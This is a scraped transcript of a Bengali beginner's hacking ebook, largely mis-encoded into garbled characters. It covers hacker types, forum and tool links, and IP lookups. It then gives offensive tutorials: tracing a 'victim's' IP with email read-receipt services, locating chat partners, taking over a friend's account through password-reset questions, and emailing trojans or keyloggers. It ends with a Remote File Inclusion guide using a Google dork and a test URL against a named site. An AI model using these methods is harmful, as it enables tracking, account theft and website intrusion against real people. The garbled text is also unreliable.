hacking bangla ebook
Post on 24-Oct-2015
159 Views
Preview:
DESCRIPTION
TRANSCRIPT
ফারক িঅহমমদ তা পাতার সিপাসহ Mystrious Tusin Jack nax
িসিববাসিতটিউিার Cyan Tarek
pirate_king Log Out
মমমহসদ হািাি Shojib
মারফ িঅম Niloy
হযাসকিং লবদটির মমযযিআ রমেমে একটা ঐশবযবযকর ভাবমসতব লবদটার মমযযিআ রমেমে দমভ মোটট বাচচা মেমক শর কমর বদধ িবারিআ হযাসকিং মলোর িঅগরহ িতযাসযক িঅর এর সিসরমে কাজ কমর একটািআ সিমজমক হযাকার ততসর করার দমভ তমব হযাসকিং দ-সদক মথমক উমে িঅমি িঅমামদর িামমি এক হযাসকিং সলমথ িমিযরেসত করা দিআ সিমজমক হযাকামরর কাজ মথমক বাািামিা পরথমটি িবলযিআ দনডিীে িঅপরায তব এটার পরসত িঅগরহ িমিকািংলিআ মবলী হযাকার হমত হম িবলযিআ মকাস িং এ দে হমত হমব মযটা হ মবসিক হযাসকিংমের পরথম কাজতািআ িঅপিামদর হযাসকিংমের সকে পরাথসমক যারিা সদমত িকমর িসবযার জিয িঅমরা হযাসকিংমের িামথ পসরসিসত এবিং সকে বযাসিক টিউমটাসরো সিমে একটি িআ-বক পরকাল করাম এোমি হযাসকিংমের টিউমটাসরো গমামক উদাহরণ েসব rsquoর
িাহামযয িহজভামব উপসথাপি করার মিষটা করাহমেমে হযাসকিং একটি িমিক সবলা কিমিপটযা একটি মাতর বিআমে িিংকি করা িমভব িে তািআ িঅমরা এর িঅর েণড এবিং িিংসকরণ িামমি মবর করব
যিযবাদমে
ফারক িঅহমমদ wwwfbcommdfaroqueahmed
যাকায চছেন সআ ফযকতি কতমকতন কতনযাততাকতনযাততায াচছথ জকতিত এফং কতনযাততা ফযফসথায দফবর কতদক খচছজ সফয কযায কতফচছলবাচছফ দকষ থফা নয ককতিউটায ফযফসথায বফধ নপরচছফ কযচছত কষভ ফা এয িচছকব গবীযজঞাচছনয কতধকাযী াধাযনবাচছফ যাকায বদটি কাচছরা-টকত যাকায চছথবআ ফচছচচছয সফকত ফযফহত য মাযা ভরত ধবংভরক ফা যাধভরক কভবকানড কচছয থাচছকন এছািা অচছযা ননকততক যাকায যচছযচছছন (মাযা াধাযনবাচছফ াদা টকত যাকায নাচছভ কতযকতচত) এফং ননকততকতা িচছকব কতযষকায যাকায অচছছন মাচছদয ধয টকত যাকায ফচছর এচছদয ভচছধয াথবকয কযায জনয পরায করযাকায বদটি ফযফায কযা য মা ককতিউটায কতনযাততা যাকায সথচছক একাচছডকতভক কতফলচছযয যাকায সথচছক অরাদা কযায জনয ফযফায কযা য থফা াধ যাকায (কাচছরা টকত যাকায) সথচছক ননকততক যাকাচছযয (াদা টকত যাকায) াথবকয ফঝাচছত ফযফহত য যাকাযযা বাচব যার জগচছত নতন কতকছ কতি কযচছত াচছযভযায ভাধান কযচছত াচছয তাযা সবাধীনতা এফং াযসপকতযক চছমাগীতায কতফশবাী যাকায যায ফবপরথভ তব চছে অনাচছক অচছগ ঠিক কযচছত চছফ অকতন সকান ধযচছনয যাকায চছফন উচছয ৩ ধযচছনয যাকায িচছকব ফরা চছযচছছঅনাচছদয কতফধাচছথব অচছযকট সাি কযকতছ
াদা টকত যাকায (White Hat Hacker)- এযা ককতিউটায তথা াআফাযযাচছডব য কতনযাততা পরদান কচছয এযা কখন চছযয কষকতত াধন কচছয নাএচছদযচছক আকতথকার যাকায ফরা চছয থাচছক
ধয টকত যাকায (Grey Hat Hacker)- এযা এভন একধযচছনয যাকায মাযাাদা টকত কাচছরা টকতচছদয ভধযফতী সথাচছন ফসথান কচছয এযা আচছে কযচছরকায কষকতত াধন কযচছত াচছয অফায উকায কযচছত াচছয
কাচছরা টকত যাকায (Black Hat Hacker)- যাকায ফরচছত াধাযনত কাচছরা টকতযাকাযচছদযআ ফঝায এযা ফভযআ সকান না সকান বাচছফ চছযয কষকতত াধন কচছযাআফায যাচছডব এযা ফভযআ ঘকতনত চছয থাচছকএছািা অয কতকছ যাকায ধযন যচছযচছছ সমভন -
কতিপট কতককতড (Script Kidie)- এযা কতনচছজযা কতকছআ াচছয না ফযং কতফকতবননটরস ফা চছনযয ফানাচছনা কতিপট ফযফায কচছয এযা কাচছমবাকতকতি কচছয
কতনপাআট ফা সনাফ (Neophyte or nOOb)- এযা যাকতকং কতকষাথী এযা যাকতকং সকফর কতখচছছ নয চছথব এচছদয কতফকতগনায ফা কতনউফাআ ফরা মায
নীর টকত যাকায (Blue Hat Hacker)- এযা অচছর যাকতকংচছযয াচছথ সতভনজকতিত নয সকান পটযায ফা কতরচছখচছছনঃ সভচছকতদ াান
যাকায মাযা
যাকায চছেন একজন ফযাকতি কতমকতন শধভাতর কতফকতবনন ভাধযভকতচছেভ এয খত খচছজ সফয কচছয কতকনত কততকতন এয কষকততাধন কচছযন না একজন যাকায ভরত একজন সপরাগরাভায মায পরধান কাজ চছে নরাআচছন সকান কতচছেচছভয খাযাকতদকগচছরা খচছজ সফয কযা তাযা সপরাগরাভায এফং তাযা সপরাগরাভ নতন নতন খতচছফয কযচছত ফযফায কচছয
যাকায সপাযাভ
অকতন একজন যাকায চছত চছর পরথচছভ অনাচছক কতফকতবনন আকতথকার যাকায মাযাভরত আকতরট (এ ফযাাচছয অচছগয ধযাচছয ফরা চছযচছছ) তাচছদয সথচছক গরতবণব টিগচছরা কতচছখ কতনচছত চছফ অয কতফকতবনন ধযচছনয টি কতনচছয অচছরাচনা য সপাযাচছভকতনচছচ যাকাযচছদয জনয কচছযকটি গরতবণব সপাযাচছভয কতরংক পরদান কযা র সপাযাভগচছরাচছত সমাগকতদন এফং কতনযকতভত সািগচছরা িন সকান কতফলয জানচছত চাআচছর সখাচছনআ াাময চাআচছত াচছযন
wwwhackerthreadsorgwwwhackforumsnetwwwhackerorgforumwwwcrackhackforumcom
যাকতকংকতযচছাব
যাকতকং কযচছত চছর কতফকতবনন পটযযায পরচছযাজন য পরচছযাজন য সকাড কতিপট ডকব আতযাকতদয কতনচছচ কতকছ কতরংক সদযা র সমখান সথচছক অকতন চছনকভরযফান যাকতকং কতযচছাব সচছত াচছযন মা অনাচছক যাকায চছত াাময কযচছফ
httpwwwethicalhackernethttpinsecureorghttphackerresourcezcomhttpwwwcertifiedethicalhackercomhttpwwwelitehacknethttpwwwelite-hackerscomhttpwwwexploit-
dbcomhttpwww1337daycomhttpwwwbreakthesecuritycomhttpwwwthehackerslibrarycomhttpwwwport7alliancecomhttpwwwhackersnlhttphackmeintripodcomhttpkyrionhackingtutorialscomhttp
wwwhacking-gurusnethttphackmyasswordpresscomhttpwwwborntohackinhttpwwwcriticalsecuritynethttpww
wmpghnethttpwwwduniapasswordcomhttpwwwprogamercitynetযাকায
ভকতব
কতনচছচ কতকছ ভকতবয নাভ সদযা র মা একজন যাকাচছযয সদখা তযানত গরতবণব তাচছর এখনআ অযমভ কচছয কতদন কতফচছনাদন অয যা সকানটা সকভন রাগচছরা স িচছকব সযায কযচছত বরচছফন না কতকনত বাচছরা থাকচছফন অভায জনয সদাযা কযচছফন অজ এ মনতবআ
TRON (1982) THE GIRL WITH THE DRAGON TATTOO (2009) WARGAMES (1983) DIE HARD 4LIVE FREE OR DIE HARD (2007) SNEAKERS (1992) THE MATRIX (1999) EXISTENZ (1999) THE
CONVERSATION (1974) THE SCORE (2001) FOOLPROOF (2003) HACKER (1995) ANTITRUST (2001) PIRATES OFSILICONVALLEY(1999) THE LAWNMOWER MAN (1992) THE CORE (2003)
VIRTUOSITY (1995) TAKEDOWN (2000) DEJA VU (2006) ONE POINT O (2004) REVOLUTION OS (2001) THE NET (1995) TRON LEGACY (2010) THE ITALIAN JOB (2003) DISCLOSURE (1994)
JURASSICPARK(1993) SWORDFISH (2001) THE THIRTEENTH FLOOR (1999) UNTRACEABLE (2008) GAMER (2009)
কতরচছখচছছনঃ সভচছকতদ াান
যাকতকং অআকত চছনক গরতব ণব একটি কতফলয অজ অভযা অআকত িচছকব জানফ অন তাচছর শর কযা মাক অভা অআকত এচছে কতক
IP Address কতক এফং তায খটিনাটী
IP Address কতক IP Address ফা Internet ProtocolAddress র একটি ংখযাকতফচছল মা Network-এ মিপরকততটি Device-এয জনয কতনধবাকতযত মাযা Communication-এয জনয Internet Protocol ফযফায কচছয পরকততটি IP Address
র Unique অকতন মখন একটা কতনকতদব ি IP Addressফযফায কযচছছন তখন সটা অয সকউ ফযফায কযায মভফনা সনআ IP Address কতদচছযআ Network ফযফাযকাযীচছক নাি কযা যঅকতন সম Internet ServiceProvider-এয কাছ সথচছক Internetসফা াচছেন তাযা এআ IPAddress-এয ভাধযচছভআ অনাচছক অরাদাবাচছফ নািকযচছত াচছয
IP Address-এয কাজ কতক IP Address-এয ভরত দlsquoটি কাজ যচছযচছছ
1Host ফা Network Interface নািকযণ মাচছত অকতন ঠিকবাচছফ অনায কাকতিত Communication িনন কযচছত াচছযন
2Network ফযফাযকাযীয ফসথান খচছজ সফয কযা পরকততটা IP Address একটা কতনকতদব িসথানচছক কতনচছদব কচছয তাআ অকতন সকান জাযগা সথচছক Network ফযফায কযচছছন এটা IPAddress-এয ভাধযচছভ জানা মায IP Adderss-গচছরা র Binary Number কতকনত সফাঝায কতফধায জনয এগচছরাচছক ভানচছলয ঠনচছমাগযংচছকত (কষয ফা ংখযা) কতদচছয পরকা কযা চছয থাচছকIP Address-এয Version
যাকাযচছদয জনয একটি কতত গরতবণব কতজকতন চছে এআ IP Address সমচছত IPAddress-এয ভাধযচছভ Network
ফযফাযকাযীয সথান জানা মায তাআ যাকাচছযয জনয IP Addressরকতকচছয যাখা খফআ জরযী একটা কাজ নাচছর যাকাচছযয ফসথান পা চছয মাযায একটা চানস থাচছক
অনায কতনচছজয অআকত এচছে সদখা
পরথচছভ Start-gtRun-gtখাকতর ঘচছয কতরখন cmd এফায কী-সফাডব সথচছক এনটায চানএকটি কভানড একতযযা সদখচছত াচছফন সখাচছন কতরখন netstat ndashn এনটায চান একটি কতরে অনায াভচছন অচছফ সরাকার এচছেচছয কতদচছক সখযার করন সমটি পরথচছভ অচছফ সটিআ অনায অআকত এচছে কতিতীয কতনযভ অনায বরাউজাচছযয এচছে ফাচছয কতরখন wwwwhatismyipcom
একটি চছযফাআট খরচছফ সখাচছনআ ফি কষচছয অকতন অনায ফতব ভান অআকত সদখচছত াচছফন কতনচছচয কতরেটি ভচছন যাখন যফতীচছত কাচছজ রাগচছফ
ftpmdash-gt21smtpmdashgt25dnsmdash-gt53httpmdashgt80httpsmdash-gt81pop3mdash-gt110telnetmdashgt23
নামবাযগচছরা চছে সাটব নামবায এ িচছকব চছয সকান এক ভয অচছরাচনা কযা চছফ
সকান চছযফাআচছটয অআকত সফয কযায কতনযভ
মকতদ অকতন সকান চছযফাআট ফা সকান ফযকতিয একাউনট ফা তায কতকত যাক কযচছফন তাচছর ফপরবথভ সম কাজটি কযচছত চছফ তা চছে তায অআকত এচছে ংগর কযা মতকষন মনতব না অকতন তায অআকত এচছে সফয কযচছত াযচছছন ততকষন মনতব অকতন তায কতক আ ফা কযচছত াযচছফন এখন অনাচছদয সদখাকতে সমবাচছফ সকান চছযফাআচছটয অআকত এচছে সফয কযচছফন
পরথচছভ Start-gtRun-gtখাকতর ঘচছয কতরখন cmd এফায কী-সফাডব সথচছক এনটায চানএকটিকভানড একতযযা সদখচছত াচছফন সখাচছন কতরখন tracert websitename এনটায চান এখন কতকছ তথয সবযংকতকরযবাচছফ অনায াভচছন অচছফ অকতন সখাচছন নীরযংচছযয কতকছ সরখা সদখচছত াচছফন অকতন সখাচছনআ অনায কাকতিত অআকত এচছে টি সদখচছত াচছফন নীর সরখাগচছরায পরথভ রাআচছনআ অকতন অআকতটি সদখচছত াচছফন কতিতীয রাআন এবাচছফ চছফারচব ৩০টি হ সদখচছত াচছফন
হচছয ফযাখযা
মখন অকতন সকান চছযফাআচছট পরচছফচছয সচষঠা কচছযন তখন অকতন সবযংকতকরযবাচছফ কতকছতথয সআ চছযফাআচছটয কাচছছ সপরযন কচছযন মায পরকততউততচছয সআ চছযফাআটটি অনায কাচছছ কতকছ তথয সপরযন কচছয (মায পরাপর সবর অকতন চছযফাআট টিচছক সদখচছত ান)এআ পরকতকরযাটি চরচছতআ থাচছক ভচছন করন অকতন কভানড একতযযায কতরখচছরন tracert yahoocom
তখন অনায এআ তচছথযয যাচছকজটিগগচছরয াবব াচছয (চছমখাচছন তথয জভা থাচছক) মাচছফ গগর অনাচছক এয পরকততউততযাঠাচছফ সমচছত গগর একটি ফি াআট সচছত এয চছনকগচছরা াবব ায যচছযচছছতযাং পরকততউততযগচছরা সকর াবব ায সথচছকআ অচছ এফায অকতন অনায কভানড একতযযায রকষ করন সখাচছন চছফারচব ৩০টিয ভত অআকত হ যচছযচছছ এতগচছরা অাযভাচছন চছে গগর তায মতগচছরা াবব ায সথচছক অনায কাচছছ তথয সপরযন কযচছছ সআ াবব াযগচছরায অআকত হআ অকতন সদখচছত াচছেন
কভানডএকতযযায অকতন ধযচছনয কতকছ কতচন সদখচছত াচছফন এয ভাচছন চছে এআ সম সসথানগচছরাচছত পাযাযযার সথান কযা যচছযচছছ মাচছত কচছয সম সকউ চছজ অকরভনকযচছত না াচছয
াধাযন বর-ধাযনা
চছনচছকআঅচছছন মাযা ভচছন কচছযন সম আনটাযচছনট সথচছক সকান উরচকষভতা িনন সপকব াতযতথয ফা তথযাকতদ সদখা ফা জানা মায না অচছর এটি বর ধাযনা ভচছন করন আনটাযচছনচছট চছনচছকআ টপাআর ফা সযকতডচছযাচছযয কতপরকতভযাভ একাউনট সদয মাচছথচছক অকতন উকত ন কতকনত ভযা চছে অকতন জাচছনন না এআ একাউনট সকাথা সথচছক সদযা চছযচছছ অকতন আচছে কযচছরআ এফ তথয জানচছত াচছযন
মখন অকতন কভানড একতযযায সকান চছযফাআচছটয কতফযীচছত nslookup কতরচছখ এনটায কতদচছফনতখন যত এযকভ সরখা অচছত াচছয সম You are now authentized to this route
এযকভ কতকছ সরখা সদখচছরআ অকতন ফচছঝ সনচছফন সম আ চছযফাআচছট সপকব াতয তথযযচছযচছছ আ চছযফাআট িচছকব কতফসতাকতযত জানচছত অকতন কতনচছচয চছযফাআটগচছরাফযফায কযচছত াচছযন
wwwsamspadecomwwwdnsstuffcomwwwwhoisnet wwwwhois ঐ কর চছযফাআচছট শধভাতর চছযফাআটটিয নাভ কতদচছযআ অকতন এযঅআকত সথান ভাকতরচছকয নাভ কচছফ সকনা চছযচছছ সভযাদ কত কতদচছনয নদকতনক কতবকতজটযংখযা সনভ াবব ায আতযাকতদ কতফকতবনন তথয জানচছত াযচছফন তথয সজাগাি কযাএকজন যাকাচছযয পরাথকতভক কাজ এটি না কযচছর অকতন কতকছআ কযচছত াযচছফন না
কতরচছখচছছনঃ সভচছকতদ াান
আচছভআর দাতায অআকত ননধান
অনায সভআরফকস খরন তায সথচছক সমচছকান একটি আচছভআর খরন Reply-সত কতিককরন এফায Show original এ কতিক করন এখন সম তথযগচছরা অচছফ সগচছরা খফবাচছরাবাচছফ সখযার করন সখাচছনআ অকতন যত আচছভআর দাতায অআকত সদখচছত াচছফন কতকনত gmail সথচছক মকতদ সকউ অনাচছক সভআর কচছয তাচছর এআ িকতত নাচছয অকতন অআকত খচছজ াচছফন না এখন উায যা যা কতসথয চছফন না একষকতন তা ফরকতছ
অচছর ভর ফযাাযটি চছে gmail ফভয https ফযফায কচছয অভযা াধাযনত চছযফাআচছটয এচছেচছ সদখচছত াআ http মায িণব র চছে Hyper Text Transfer Protocol অয https চছে এআ http এয secured র অা ককতয ফঝচছত সচছযচছছন মায কাযচছনআ কতজচছভআচছর অকতন অআকত খচছজ াচছফন না এখন সমআ িকততটিয কথা অনাচছদয ফরফ সটি চছে পরায ফ ধযচছনয আচছভআর এচছে (আযাহচছভআর কতজচছভআর এভএএন আতযাকতদ) সথচছক অআকত সফয কযায িকততপরথচছভআ httpreadnotifycom াআটটি খরন এযয এখাচছন সযকতজচছেন করনএখন অকতন মায আচছভআর এচছে ননধান কযচছত চান তায ফযাযফ একটি সভআর কতরখন এফায আচছভআর ট সকন একতযযায কতরখন
victimlsquosemailidrednotifycom াঠিচছয কতদন মখন স আচছভআরটি িচছফ তখন সবযংকতকরযবাচছফ অনায কতযডচছনাটিপাআ একাউচছনট তায অআকত চচছর অচছফ অচছর কতযডচছনাটিপাআ একটি সবযংকতকরয রকাচছনা ছকতফ অনায আচছভআচছরয াচছথ ঐ ফযাকতি ফযাফয াঠিচছয সদয মায পচছর অকতন তায অআকত সচছয মান িকততটি খফ কাচছজয
ঐ চছযফ াআড টি ছনদ না চছর গচছরা ফযফায কযচছফনঃ
httpwwwdidtheyreaditcom
httpwwwpointofmailcom
ফসথান ননধান অভযা সতা অআকত সরাভ এফায সদখফ কতকবাচছফ ঐ ফযাকতিয ফসথান িচছকব জানা মায থবাৎ ফযাকতিটি সকান সদচছয সকান চছয অচছছ তা জানাপরথচছভআ httpwwwip2locationcom াআটটি খরন এআ াআটটিয খাকতর ঘচছয অনায কাকতিত অআকত এচছেটি ফকতচছয কতদন অয ভজা সদখন
অকতন মায াচছথ চযাটিং কযচছছন তায ফসথান জানা
অকতন মায াচছথ চযাটিং কযচছছন তাচছক তায অআকত মবচছনধ কতজচছগয করন সফরচছর সতা ফরচছত চছফ অনায বাগয পরনন অয না ফরচছর কতক কযচছফন একট চছকষা করন ফরকতছ এখাচছন একটি ফযাায উচছেখ কযায ভত অয তা চছে অচছগ অভযা একটি কভাচছনডয াচছথ কতযকতচত চছযকতছরাভ netstat -n এয কথা ভচছন অচছছ যা এআকভানডটি খফআ গরতবণব অকতন আনটাযচছনচছট মতগচছরা কাচছনকচছনয াচছথ মি অচছছন ঠিক ততগচছরায তথযআ এআ কভানডটিয ভাধযচছভ াযা মাচছফ অচছযকট সবচছে ফরকতছ ধরন ভচছন করন অকতন সপফচছককতজচছভআচছর এফং সটকটিউনচছ একআ চছে পরচছফকচছয অচছছন উচছযয কভানডটি এআ কততনটি াবব ায িচছকব আ অনায কাচছছ তথযাপলাআ কযচছফ ফতব ভাচছন আনটাযচছনচছট এক এক ফযাকতি চযাটিং এয এক এক নথাফযফায কচছয সমভন ICQ Messenger
MSN Messenger Yahoo Messenger Gtalk Meebo Gigsby AIM আতযাকতদ তাচছর ফঝন কতটক ঝাচছভরায কাজ কযচছত মাচছেন অকতন অয এ কাযচছনআ কতনচছচ ধাচছ ধাচছ কচছযকটি সকষতর সদযা র রকষকরন
সকষতর-১ মকতদ অকতন ICQ Messenger এ চযাট কচছযন অয সখাচছনয কায ফসথান জানচছত চান তাচছর এ িকততটি কাচছজ রাগান ICQ Messenger এয কাজ কযায ধযন চছে (অকতন-gtঅনায ফনধ-gtঅকতন) এআবাচছফ তাআ কায অআকত ংগর কযাএচছকষচছতর খফ জ কাজ ভচছন করন অকতন কায অআকত জানচছত চাচছেন তাচছর তাচছক কতট করন কতকনত চযাটিং শর কযচছফন না এফায Start-gtRun-gtcmd-gtnetstat -nএনটায কতদন সম অআকতগচছরা অচছফ তা সকান যাপ কাগচছজ কতরচছখ যাখন এফায অকতন তায াচছথ চযাটিং অযমভ করন অফায Start-gtRun-gtcmd-
gtnetstat -nএনটায কতদন এফায অকতন সখাচছন নতনএকটি অআকত সদখচছত াচছফন অয এআ ফযাকতিয াচছথআঅকতন এখন চযাটিং এ ফযাসতএফায কতকবাচছফ তায ফসথান সফয কযচছফন তা কতনশচযআ অয ফচছর কতদচছত চছফ না
সকষতর-২
Yahoo Messenger MSN Messenger GTalk Messenger এয সকষচছতর উচছযাি সভচছনজাযগচছরায কাজ কযায ধযন চছে (অকতন-সভচছনজাচছযযাবব ায-অনায ফনধ) এআবাচছফ এখাচছন মকতদ অকতন সকষতর-১ এয িকতত কাচছজ রাগান তাচছর অকতন সভচছনজাচছযয অআকত াচছফন ফযাকতিয না এআচছকষচছতর অকতন চারাচছত াচছযন সাযার আকতনজকতনযাকতযং মকতদ এটা কতনচছয যফতী ধযাচছয অচছরাচনা চছফ তথাকত এখাচছন কতকছ কতযকতচকতত সদযা চছে সাযার আকতনজকতনযাকতযং চছে কাউচছক সফাকা ফাকতনচছয তাচছক যাকতকং কযা অয এআ সভচছনজাচছযয সকষচছতর (ভচছন যাখচছফন কতধকাং সভচছনজাযআ এআ কাজটি কচছয থাচছক) অকতন অনায াচছথ চযাটিংকত ফযাকতিটিচছক ফরন অনায কাচছছ সকান পাআর াঠাচছত ফা তাচছক অকতনকতকছ াঠাচছত াচছযন সটা চছত াচছয সকান ছকতফ ফা অনায ছকতফ মকতদ স যাকতজ য তাচছর সকষতর-১ এয িকতত চাকতরচছয মান মখন অকতন তায াচছথ চযাটিং কযচছফন তখন অকতন কততকতযি সম অআকত এচছেটি সদখচছত াচছফন সটি চছে সভচছনজাচছযযঅআকত অয মখন স অনায কাচছছ সকান কতকছ াঠাচছফ তখন অচছযকটি নতন অআকত সদখচছতাচছফন সটি চছে তায অআকত এছািা অয একটি উায অচছছ তা র অকতন তাচছক অনায কাচছছ একটি সভআর াঠাচছত ফরচছত াচছযন মখনআ স সভআর াঠাচছফ অকতন কতযডচছনাটিপাআ িকতত চাকতরচছয মান মা অচছগ ফরা চছযচছছ সকান পরশন
সকষতর-৩
Meebo Gigsby Trillion আতযাকতদ ভাকতি চযাটিং আকতনজচছনয সকষচছতর এচছকষচছতর সকান িকতত সনআ শধ এতটকআ কযা মায তা র অকতন ফরচছত াচছযন অনাচছক সভআর কযচছত অয অকতন কতযডচছনাটিপাআ িকতত চারাচছত াচছযন অচছর কায অআকত াযা সতভন কঠিন কাজ নয অয এটা সতভন ফি ধযচছনয কাজ নয অআকতএচছেচছয ফযাাচছয ফরচছত সগচছর চছনক কথা ফরচছত য অআকত এচছে যচছযচছছ কতফকতবনন ধযচছনয অফায সখাচছন াফচছনট অআকতড এফং সাে অআকতড নাভক ফযাায যচছযচছছ এছািা অকতন একটি চছযফাআট শধ অআকত এচছে কতরচছখআ পরচছফ কযচছত াচছযন মকতদ সখাচছন সকসা টরানসপায এফং সকাসটরা টরানসপায নাভক ব
কতরচছখচছছনঃ সভচছকতদ াান
সাযার আকতনজকতনযাকতযং শধভাতর আনটাযচছনট জগচছতয াচছথআ মি নয ফযং তাঅভাচছদয সবাবাকতফক জীফনমাতরায াচছথ জকতিতঅকতন সকান সভচছযয াচছথ দ-নমবকতয (জ ফাংরা ফযফায কযরাভ-কতকছ ভচছন কযচছফন না) কযচছর সটা চছফ সাযার আকতনজকতনযাকতযং কতনচছজয কাচছমািব াচছযয জনয চছযয কাচছছ কতভথযা ফরচছর সটা চছফ সাযার আকতনজকতনযাকতযং ভরত কতনচছজয কাচছমািব াচছযয জনয চছযয সকান র কষকততাধন কযাচছকআ ফচছর সাযার আকতনজকতনযাকতযং
অনায ফনধয একাউনট যাকতকং কযচছত চাআচছর Forget password এ কতিক কচছযআ াধাযন কচছযকটি পরচছশনয উততয কতদচছযআ অকতন যাক কযচছত াচছযন কাযন ভানল ঐ কর জাযগায কতকছ াধাযন পরশনআ সফচছছ সনয অয অকতন অনায ফনধয াধাযনচছতা অচছছআ এভনকতক চছনক সগান তথয জাচছনন তাআ নয কী তাচছর সদখা মাচছে এখাচছন সাযার আকতনজকতনযাকতযং একটি গরতবণব কতফলয
মখন সটকতরচছপান পরথভ অকতফষকত র তখন কতফচছশবয পরথভ যাকায সটকতরচছপাচছনয ফযফাযকতফকতধ খফবাচছরাবাচছফ মচছফকষবন কযর স সদখর সম মখন অভযা কাউচছক করচছদআ তখন এআকরটি পরথচছভ সটকতরচছপান কতপচছ মায চছয কাকতিত ফযাকতিটিয কাচছছ মায তখনযাকায কতকছ চকচছরট নতযী কচছয তায চছকচছট যাখর াচছথ যাখর একটি ফাকতস এআ ফরর সম চকচছরচছটয াচছথ এটা একটি কতগফট এফায ভানচছলযা এফং তাচছদয ফারচাযা ফাকতগচছরা িাযা য তরচছত রাগর মায পচছর কতি র একধযচছনয তযে মা সটকতরচছপান াবব াচছযয তযচছেয ভত এটাআ যফতীচছত যাকাযচছদয াযাকতফচছশব কতফনাভচছরয কর কযচছত াাময কযর
িণব পরকযাটি রকষ করন স শধ কতনচছজয কতচনতা কাচছজ রাগার এফংএকটি সছাটফাকত নতযী কযর তাচছর সদখন সাযার আকতনজকতনযাকতযং খফআগরতবনবঅকতন সকান কতকছচছক ফি কযচছত চছর সাযার আকতনজকতনযাকতযং এযাাময ফযাকতততমভফ নয
অনায ফনধয কব ট একাউনট যাকতকং কযচছতচাআচছর Forget password একতিক কচছযআ াধাযন কচছযকটি পরচছশনয উততয কতদচছযআ অকতন যাক কযচছত াচছযন কাযন ভানল ঐকর জাযগায কতকছ াধাযন পরশনআ সফচছছ সনয অয অকতন অনায ফনধয াধাযন সতা অচছছআ এভনকতক চছনক সগান তথয জাচছনন তাআ নয কী তাচছর সদখা মাচছে এখাচছন সাযার আকতনজকতনযাকতযং একটি গরতবণব কতফলয
মিািযা িআসজজসিোসরিংমের লসিলাী িিংজঞা
ভানলকতক বাচব যার জগচছত মাকতচত কাজ সমভন সকান কচছবাচছযট কতপচছয সনটযাচছকব পরচছফ তাচছদয নরাআন কতকতকউকতযটি পাযাযযার একাউনট আতযাকতদ কতনকতফিবাচছফ মচছফকষবন কচছয তাচছত অকরভন কযা এচছকষচছতর কতফকতবনন ধযচছনয পটযযাচছযয াাময সনযা মায ফা কতনচছজয ফানাচছনা সকান াডব যযায ফা সকাকতডং কাচছজ রাগাচছনা মায
ভচছন করন অনায আচছভআচছর এর এযকভ একটি ফাতব া সম Congrats You have got 100000 free visitor CLICK
HERE for withdraw এবাচছফ পরকততকতদন ভগর কতফচছশব াজায াজায ভানল তাচছদয সকরকতডটকাচছডব য তথয কতফকতবননগরতবণব তথয নরাআচছন জভা কতদচছে অয যাকতকংচছযয কতকায চছে সাযার আকতনজকতনযাকতযং কতনচছনাি কচছযকটি বাচছগকতফবি
ndashgtimpersonation
mdashgtposing as imp user
mdashgt3rd person approach
mdashgttechnical support
কসিউটার সভসিক মিািযা িআসজজসিোসরিং
কতনচছচয কচছযকটি বাচছগ কতফবি
ndashgtmailim attachments
ndashgtpop up windows
mdashgtsweepstakes
mdashgtspam mail
এআ ধযাচছযয এখাচছনআ ভাকতি ভচছন যাখচছফন সকান কাজ কযায অচছগ এয সাযার আকতনজকতনযাকতযংচছযয ফযাযটি খফ বাচছরাবাচছফ নধাফন কযা উকতচত মখন অভযা কায আচছভআচছর সকান কতকছ াঠাআ এফং স মকতদ কতকছ াঠায সটাআ সাযার আকতনজকতনযাকতযং অয এবাচছফআ অভযা সাযার আকতনজকতনযাকতযং কাউচছক সটরাজান ফা কী-রগায াঠাচছত ফযফায কযফ ফাআ খফ বাচছরা থাকচছফন
কতরচছখচছছনঃ সভচছকতদ াান
অজ সদখাফ Remote file inclusion যাকতকং অনাযা যত জাচছনন না সম যাকতকং কযায সথচছক যাকতকং কতনচছয সাি সরখা অয কঠিন কিকয মকতদ সাি কযচছতন তাচছর ফঝচছতন থাক সাি কযা রাগচছফ না শধ ভনতফয কযচছরআ চছফ ভনতফয কযচছর সাচছিয সরখক উৎাকতত য এচছত তাচছদয সরখায গকতত সবাচনদয ফাচছি তাচছর অয কথা নয এফায শর চছয মাক সািটিhellip
Remote file inclusion যাকতকং এচছক ংচছকষচছ ফচছর RFI যাকতকং এটি ননযা যাকতকং ভযাথচছডয ভচছধয এটি একটি নযতভ জনকতপরয ভযাথড নযনযা িকততয ভচছতা এআ িকততচছত অনাচছক চছযফাআচছটয vulnerability সফয কযচছত চছফ এআ vulnerability এয ভাধযচছভ একজন যাকায একটি চছযফ াবব াচছযয remote file মি কযচছত াচছয অা ককতয RFI যাকতকং িচছকব সভাটাভটি ধাযণা সচছযচছছন
mdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdash
mdashmdashmdashmdashmdash
সকান াআটটি vulnerable কতকবাচছফ ফঝচছফন খফআ কঠিন পরশন তাআ না এআ পরচছশনয উততয জানায জনয কতনচছচয কতরংকটি সদচছখনhellip
httpwwwtargetsitecomindexphppage=Anything
উচছযয কতরংচছকয ভচছতাআ সদখচছত াচছফন সমগচছরা অকতন খজচছেন তনন তনন কচছয এখন এগচছরা ফাকতয কযচছফন কতকবাচছফ গগর ডকদযকায কতনন কতনচছচ গগর ডক কতদরাভ
ldquoinurlindexphppage=rdquo
উচছযয ডকটি গগচছর কতনচছয াচব কতদন তাচছর অনাচছক ―indexphppage= এআ টাআচছয মত চছযফাআট অচছছ
ফগচছরা চছযফাআট গগর অনায াভচছন এচছন াকতজয কযচছফ এখন সকান চছযফাআটটি অজচছকয ভযাথচছডয জনয vulnerable তা যীকষা কচছয সদখচছত চছফ কতকবাচছফ কযচছফন কতনচছচয ভচছতা কচছয করন
httpwwwtargetsitecomindexphppage=wwwgooglecom
এখন ভচছন কচছযন অকতভ অকতভ httpwwwcbspkcomএআ াআটটি খচছজ সচছযকতছ এখন অভযা চাআফ এটা vulnerable কতক না তাচছর কতরখনhellip
httpwwwcbspkcomv2indexphppage=httpwwwtunerpagecom
তাচছর এটি সদখাচছফhellip
এখন মকতদ উি চছযফাআটটি নয চছযফাআট কতনচছয সখাচছর তাচছর ফঝচছফন সম এআ চছযফ াআচছট RFI আচছেকান সদযা মাচছফ এফায অন চছযয ধাচছhellip
